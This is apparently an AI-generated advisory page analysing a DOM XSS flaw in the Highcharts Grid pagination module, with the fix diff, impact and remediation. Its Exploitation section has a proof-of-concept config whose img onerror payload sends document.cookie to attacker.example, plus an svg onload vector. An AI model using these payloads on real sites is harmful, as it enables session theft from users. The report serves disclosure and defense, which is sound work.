CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-118254

CVE-2026-118254: DOM-based Cross-Site Scripting in Highcharts Grid Pagination Module

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 28, 2026·10 min read·0 visits

Executive Summary (TL;DR)

Highcharts Grid versions 2.0.0 prior to 3.2.0 are vulnerable to DOM-based Cross-Site Scripting (CWE-79) in the Pagination module due to unsafe innerHTML assignments of lang.pageInfo and lang.pageSizeLabel configuration properties. Upgrading @highcharts/grid-lite and @highcharts/grid-pro to version 3.2.0 remediates the issue.

CVE-2026-118254 (GHSA-r5wg-q8fc-p6w2) is a high-severity DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the pagination module of Highcharts Grid (@highcharts/grid-lite and @highcharts/grid-pro). The flaw stems from the direct assignment of localization configuration strings (lang.pageInfo and lang.pageSizeLabel) and pagination UI labels to DOM elements via the innerHTML property instead of text-safe DOM APIs such as textContent or innerText. When an application passes attacker-controlled data into the Grid localization options with pagination enabled, arbitrary HTML and JavaScript execute automatically within the hosting document's origin context upon component rendering.

Vulnerability Overview

CVE-2026-118254 (also tracked as GHSA-r5wg-q8fc-p6w2) is a DOM-based Cross-Site Scripting (DOM XSS) vulnerability affecting the pagination subsystem of Highcharts Grid, distributed via the @highcharts/grid-lite and @highcharts/grid-pro npm packages, as well as the core highcharts library prior to version 13.0.0-beta.2. Highcharts Grid is a client-side JavaScript data grid component used to render interactive tabular datasets in web applications. To support internationalization and UI customization, the component exposes a lang configuration object that allows developers and applications to define custom text strings and templates for pagination controls.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Within the Pagination class located in ts/Grid/Core/Pagination/Pagination.ts, user-configurable localization strings—specifically lang.pageInfo and lang.pageSizeLabel—along with internal pagination control elements, were inserted into the Document Object Model (DOM) by assigning values directly to the innerHTML property. Because no HTML sanitization or entity encoding was performed prior to the DOM assignment, any HTML tags embedded within these strings are parsed and executed by the browser.

In web applications that dynamically construct Highcharts Grid configurations using untrusted data—such as multi-tenant dashboards with customizable UI labels, user-defined localization profiles, or URL query parameters mapped to grid options—an attacker can inject malicious HTML elements containing inline JavaScript event handlers. When the grid initializes and renders its pagination bar, the browser executes the injected script within the security origin of the hosting application.

Unlike reflected XSS vectors that require victims to interact with specific UI elements after page load, this vulnerability triggers automatically during the initial rendering lifecycle of the pagination component. Consequently, any user viewing a page containing a vulnerable Grid instance configured with tainted localization strings will execute the payload without requiring clicks, hovers, or pagination state changes.

Root Cause Analysis

The root cause of CVE-2026-118254 is the use of an unsafe DOM sink (Element.innerHTML) when rendering plain-text localization strings and numeric values in ts/Grid/Core/Pagination/Pagination.ts. In client-side web development, assigning a string to innerHTML instructs the browser to invoke its HTML parser on the input string, instantiate the resulting DOM nodes, and attach them to the target element. When the data source is intended solely as display text rather than rich HTML markup, using innerHTML introduces an injection vector if the input stream is not strictly validated or encoded.

Within the Pagination class, two primary configuration properties serve as attacker-controllable sources that flow directly into innerHTML sinks:

  1. lang.pageInfo: Handled within the updatePageInfo() method. The component formats the template string with the current page number and total page count, storing the result in pageInfoText. It then assigns this.pageInfoElement.innerHTML = pageInfoText; without neutralizing HTML control characters.
  2. lang.pageSizeLabel: Handled within the renderPageSizeSelector() method. The component invokes an internal helper function, makeHTMLElement('span', { innerHTML: this.lang?.pageSizeLabel ?? '' }, container), which assigns the innerHTML property on the newly created <span> element using the raw configuration string.

Additionally, three secondary locations within Pagination.ts used innerHTML for rendering pagination UI primitives: pagination page number buttons (pageNumber.toString()), the pagination ellipsis indicator ('...'), and the <option> elements inside the page size <select> dropdown (option.toString()). While these secondary sinks typically process numeric or static values, using innerHTML violated secure coding practices for text node manipulation.

Because the innerHTML assignments occur synchronously during the DOM construction phase of the pagination toolbar, any HTML element capable of firing synchronous or asynchronous load events (such as <img src=x onerror=...> or <svg onload=...>) will execute JavaScript immediately upon being appended to the document tree.

Code Analysis

The vulnerability was remediated in commit 1e8ded84d52191883965641b863cf0c73eb759aa within the highcharts/highcharts repository. The patch modifies ts/Grid/Core/Pagination/Pagination.ts across five distinct DOM manipulation sites, replacing every occurrence of innerHTML with either textContent or innerText.

File: ts/Grid/Core/Pagination/Pagination.ts
@@ -490,7 +490,7 @@ class Pagination {
             totalPages: totalPages
         });
 
-        this.pageInfoElement.innerHTML = pageInfoText;
+        this.pageInfoElement.textContent = pageInfoText;
     }
 
     /**
@@ -924,7 +924,7 @@ class Pagination {
 
         const button = makeHTMLElement('button', {
             className: Globals.getClassName('button'),
-            innerHTML: pageNumber.toString()
+            innerText: pageNumber.toString()
         }, this.pageNumbersContainer);
 
         if (isActive) {
@@ -958,7 +958,7 @@ class Pagination {
         }
 
         const ellipsisElement = makeHTMLElement('span', {
-            innerHTML: '...'
+            innerText: '...'
         }, this.pageNumbersContainer);
         ellipsisElement.title = this.lang?.ellipsis ?? '';
 
@@ -990,7 +990,7 @@ class Pagination {
         }, this.contentWrapper);
 
         makeHTMLElement('span', {
-            innerHTML: this.lang?.pageSizeLabel ?? ''
+            innerText: this.lang?.pageSizeLabel ?? ''
         }, container);
 
         this.pageSizeSelect = makeHTMLElement('select', {
@@ -1001,7 +1001,7 @@ class Pagination {
         this.pageSizeSelectorOptions.forEach((option: number): void => {
             const optionElement = document.createElement('option');
             optionElement.value = option.toString();
-            optionElement.innerHTML = option.toString();
+            optionElement.textContent = option.toString();
 
             if (option === this.controller.currentPageSize) {
                 optionElement.selected = true;

In the first hunk (line 490), this.pageInfoElement.innerHTML = pageInfoText; is replaced with this.pageInfoElement.textContent = pageInfoText;. The Node.textContent property sets the raw text content of the node and its descendants; the browser treats the entire string as a single Text node and does not invoke the HTML parser. Any angle brackets (< or >) in pageInfoText are rendered literally on screen.

In the fourth hunk (line 990), the makeHTMLElement call for the page size label changes its attribute map from innerHTML: this.lang?.pageSizeLabel ?? '' to innerText: this.lang?.pageSizeLabel ?? ''. Because makeHTMLElement iterates over the provided properties and assigns them onto the created HTMLElement instance, setting HTMLElement.innerText similarly bypasses HTML parsing and inserts the value strictly as text.

> [!NOTE] > Fix Completeness Assessment: The patch completely eliminates the use of innerHTML within the Pagination class, covering both the directly exploitable localization sinks (pageInfo and pageSizeLabel) and the adjacent UI element creation calls (button, ellipsisElement, and optionElement). Note that ellipsisElement.title = this.lang?.ellipsis ?? '' assigns to the title attribute property directly, which is inherently safe against HTML tag injection in the DOM. Consequently, the fix is complete with respect to the pagination module.

Exploitation

Exploiting CVE-2026-118254 requires two operational preconditions. First, the target application must render a Highcharts Grid instance with the pagination module enabled (pagination: { enabled: true }). Second, an attacker must be able to control or taint the lang.pageInfo or lang.pageSizeLabel properties passed into the Grid initialization object. In real-world deployments, this condition arises when applications persist user-configured dashboard settings, load grid schemas from external JSON endpoints, or merge query string parameters into chart/grid configuration objects.

Because the vulnerable sink is innerHTML, standard <script> tags injected into pageInfoElement or the pageSizeLabel <span> will not execute due to the HTML5 specification restriction stating that script elements inserted via innerHTML do not execute when parsed. However, attackers can bypass this limitation by injecting HTML elements that trigger inline event handlers upon DOM insertion or resource loading failure, such as <img>, <svg>, <iframe>, or <video>.

// Proof of Concept: Highcharts Grid Configuration with Tainted Localization Strings
const maliciousGridConfig = {
    dataTable: {
        columns: {
            id: [1, 2, 3, 4, 5],
            name: ['Item A', 'Item B', 'Item C', 'Item D', 'Item E']
        }
    },
    pagination: {
        enabled: true,
        pageSize: 2
    },
    lang: {
        // Vector 1: Exploiting renderPageSizeSelector via lang.pageSizeLabel
        pageSizeLabel: 'Rows per page: <img src="x" onerror="fetch(\'https://attacker.example/exfil?data=\' + btoa(document.cookie))">',
        
        // Vector 2: Exploiting updatePageInfo via lang.pageInfo
        pageInfo: 'Showing {page} of {totalPages} <svg onload="console.log(window.origin)"></svg>'
    }
};
 
// Initializing the grid triggers immediate DOM XSS without user interaction
Grid.grid('grid-container', maliciousGridConfig);

When Grid.grid() executes, the internal Pagination constructor initializes the toolbar and calls renderPageSizeSelector() and updatePageInfo(). During renderPageSizeSelector(), the <span> element receives the pageSizeLabel string via innerHTML. The browser attempts to load the image from src="x", immediately fails, and fires the onerror handler within the application's execution context.

Simultaneously, updatePageInfo() interpolates {page} and {totalPages} into lang.pageInfo while preserving the trailing <svg onload="..."> markup. Assigning the interpolated result to this.pageInfoElement.innerHTML causes the browser to parse the <svg> tag and fire its onload event handler.

Impact Assessment

The vulnerability is rated 8.6 (High) under the CVSS v4.0 specification (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N). The vector reflects that the attack is network-accessible (AV:N), has low attack complexity (AC:L) with no special attack requirements (AT:N), requires low privileges (PR:L—representing the ability to modify or supply configuration/localization data), and requires zero user interaction (UI:N) when a victim views the affected page.

Successful exploitation grants the attacker arbitrary JavaScript execution within the browser session of any user viewing the rendered Highcharts Grid. This results in High impact to both Confidentiality (VC:H) and Integrity (VI:H) of the vulnerable web application context:

  • Session & Credential Theft (T1185): The injected script can read non-HttpOnly cookies (document.cookie), extract JSON Web Tokens (JWTs) or API keys stored in localStorage or sessionStorage, and exfiltrate them to an external server.
  • Unauthorized Application Actions: Running within the authenticated origin context, the payload can issue arbitrary fetch or XMLHttpRequest calls to backend APIs using the victim's ambient credentials or CSRF tokens, modifying application state or escalating privileges.
  • DOM Manipulation & Phishing: The script can alter the displayed grid data to mislead analysts or inject credential-harvesting overlays directly into the host application interface.

As of the publication date, CVE-2026-118254 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, has no recorded public exploit modules in ExploitDB or Metasploit, and has not been associated with active ransomware campaigns.

Remediation

The primary remediation is to upgrade @highcharts/grid-lite and @highcharts/grid-pro to version 3.2.0 or later, or upgrade the core highcharts package to 13.0.0-beta.2 or later. Version 3.2.0 incorporates commit 1e8ded84d52191883965641b863cf0c73eb759aa, which replaces all innerHTML assignments in the Pagination class with textContent and innerText.

# Update @highcharts/grid-lite via npm
npm install @highcharts/grid-lite@^3.2.0
 
# Update @highcharts/grid-pro via npm
npm install @highcharts/grid-pro@^3.2.0

For applications that cannot immediately upgrade to version 3.2.0, Highcharts provides an official runtime monkey-patch workaround. This script must be executed immediately after loading the Highcharts Grid library and prior to instantiating any grids. It wraps Pagination.prototype.updatePageInfo and Pagination.prototype.renderPageSizeSelector to entity-encode < characters (&lt;) in lang.pageInfo and lang.pageSizeLabel before they reach the innerHTML sinks:

{
    const Pagination = Grid.Pagination;
 
    const escapeLang = (pagination) => {
        const lang = pagination.lang;
        if (!lang) {
            return;
        }
 
        for (const key of ['pageInfo', 'pageSizeLabel']) {
            if (typeof lang[key] === 'string') {
                lang[key] = lang[key].replace(/</g, '&lt;');
            }
        }
    };
 
    for (const name of ['updatePageInfo', 'renderPageSizeSelector']) {
        const original = Pagination.prototype[name];
 
        Pagination.prototype[name] = function (...args) {
            escapeLang(this);
            return original.apply(this, args);
        };
    }
}

In addition to patching the library, development teams should implement defense-in-depth measures:

  1. Input Validation: Never pass raw, unvalidated user input or external API responses directly into third-party UI configuration objects.
  2. Content Security Policy (CSP): Deploy a strict CSP header (e.g., script-src 'self' without 'unsafe-inline') to block the execution of inline event handlers (onerror, onload) even if an HTML injection sink is reached.

Official Patches

HighchartsOfficial GitHub Security Advisory for GHSA-r5wg-q8fc-p6w2 / CVE-2026-118254
HighchartsGit commit replacing innerHTML with textContent and innerText in Pagination.ts
HighchartsHighcharts Grid v3.2.0 release containing the security patch

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Affected Systems

@highcharts/grid-lite (npm)@highcharts/grid-pro (npm)highcharts (Highcharts JS Core)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@highcharts/grid-lite
Highcharts
>= 2.0.0, < 3.2.03.2.0
@highcharts/grid-pro
Highcharts
>= 2.0.0, < 3.2.03.2.0
highcharts
Highcharts
< 13.0.0-beta.213.0.0-beta.2
AttributeDetail
CVE IDCVE-2026-118254 (GHSA-r5wg-q8fc-p6w2)
Vulnerability ClassCWE-79: DOM-based Cross-Site Scripting (DOM XSS)
CVSS v4.0 Score8.6 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N)
Affected Componentts/Grid/Core/Pagination/Pagination.ts (@highcharts/grid-lite & @highcharts/grid-pro)
Vulnerable Versions>= 2.0.0, < 3.2.0 (Grid) | < 13.0.0-beta.2 (Highcharts Core)
Patched Version3.2.0
User InteractionNone (Triggers automatically on Pagination component render)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Security fix commit 1e8ded84d52191883965641b863cf0c73eb759aa authored and committed to the Highcharts repository.
2026-09-17
CVE-2026-118254 published by GitHub CNA and recorded in the National Vulnerability Database (NVD).
2026-10-28
GitHub Security Advisory GHSA-r5wg-q8fc-p6w2 published to the GitHub Advisory Database and OSV.
2026-10-28

References & Sources

  • [1]GitHub Security Advisory GHSA-r5wg-q8fc-p6w2
  • [2]Highcharts Fix Commit (1e8ded84d52191883965641b863cf0c73eb759aa)
  • [3]Highcharts Grid v3.2.0 Release Notes
  • [4]Official CVE.org Record for CVE-2026-118254
  • [5]Highcharts Project Repository
  • [6]Highcharts Grid Installation Guide

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-118255
8.4

CVE-2026-118255: Cross-Site Scripting via Unfiltered Credits Href in Highcharts Grid

CVE-2026-118255 is a Cross-Site Scripting (XSS) vulnerability in Highcharts Grid and Highcharts Grid Pro. The flaw occurs because the credits component assigns the configuration-supplied credits.href property directly to an HTML anchor element without verifying the URI scheme against the internal Abstract Syntax Tree (AST) allowlist. An attacker who can influence the grid configuration can supply a javascript: URI, resulting in arbitrary JavaScript execution in the victim's browser session when the credits link is clicked.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 6 hours ago•GHSA-F897-62HF-6GXQ
7.5

GHSA-f897-62hf-6gxq: Unbounded Request Body and JSON-RPC Batch DoS in Model Context Protocol TypeScript SDK

The Model Context Protocol (MCP) TypeScript SDK contains an uncontrolled resource consumption vulnerability in its HTTP server transport implementations and middleware adapters. Affected versions fail to enforce upper bounds on incoming HTTP POST request body sizes and JSON-RPC 2.0 batch array lengths. In addition, middleware wrappers for Express and Hono parse request bodies into memory prior to validating Host and Origin headers. Unauthenticated remote attackers can exploit these flaws to trigger Out-Of-Memory (OOM) process crashes or monopolize the single-threaded Node.js event loop.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 7 hours ago•CVE-2026-87029
5.9

CVE-2026-87029: Remote Denial of Service via Uncaught Exception in Node.js Undici Decompress Interceptor

An uncaught exception vulnerability (CWE-248) exists in the Node.js HTTP/1.1 client library undici, affecting versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1. The flaw resides in the DecompressHandler interceptor (lib/interceptor/decompress.js), which processes compressed HTTP response streams using asynchronous Node.js zlib callbacks. When forwarding decompressed data chunks or stream completion events to downstream handlers, the interceptor fails to wrap the invocations of super.onResponseData() and super.onResponseEnd() in try...catch blocks. If a downstream interceptor or handler throws an exception during response processing—such as the built-in dump interceptor enforcing a maximum response size—the exception escapes the asynchronous zlib callback stack onto the top-level Node.js event loop, terminating the entire client process.

Alon Barad
Alon Barad
4 views•10 min read
•about 8 hours ago•CVE-2026-109932
5.9

CVE-2026-109932: Unbounded Memory Consumption via WebSocket PING Frame Flood in Node.js undici

An uncontrolled resource consumption vulnerability in the WebSocket client implementation of Node.js undici allows a remote WebSocket server to trigger an out-of-memory (OOM) crash in the client process. The vulnerability stems from the failure of the incoming frame parser (ByteParser) to respect socket write backpressure when automatically emitting PONG responses to incoming PING control frames. By continuously streaming small 2-byte PING frames while refusing to read from the TCP connection, a malicious server forces the client to queue outbound PONG frames in the V8 heap without bound.

Alon Barad
Alon Barad
3 views•10 min read
•about 9 hours ago•CVE-2026-87018
7.5

CVE-2026-87018: Denial of Service via TLS 1.2 Renegotiation in Node.js Undici

CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 10 hours ago•CVE-2026-116682
8.6

CVE-2026-116682: Arbitrary File Read via Improper Symlink Resolution in FileBrowser Quantum

FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.

Amit Schendel
Amit Schendel
7 views•10 min read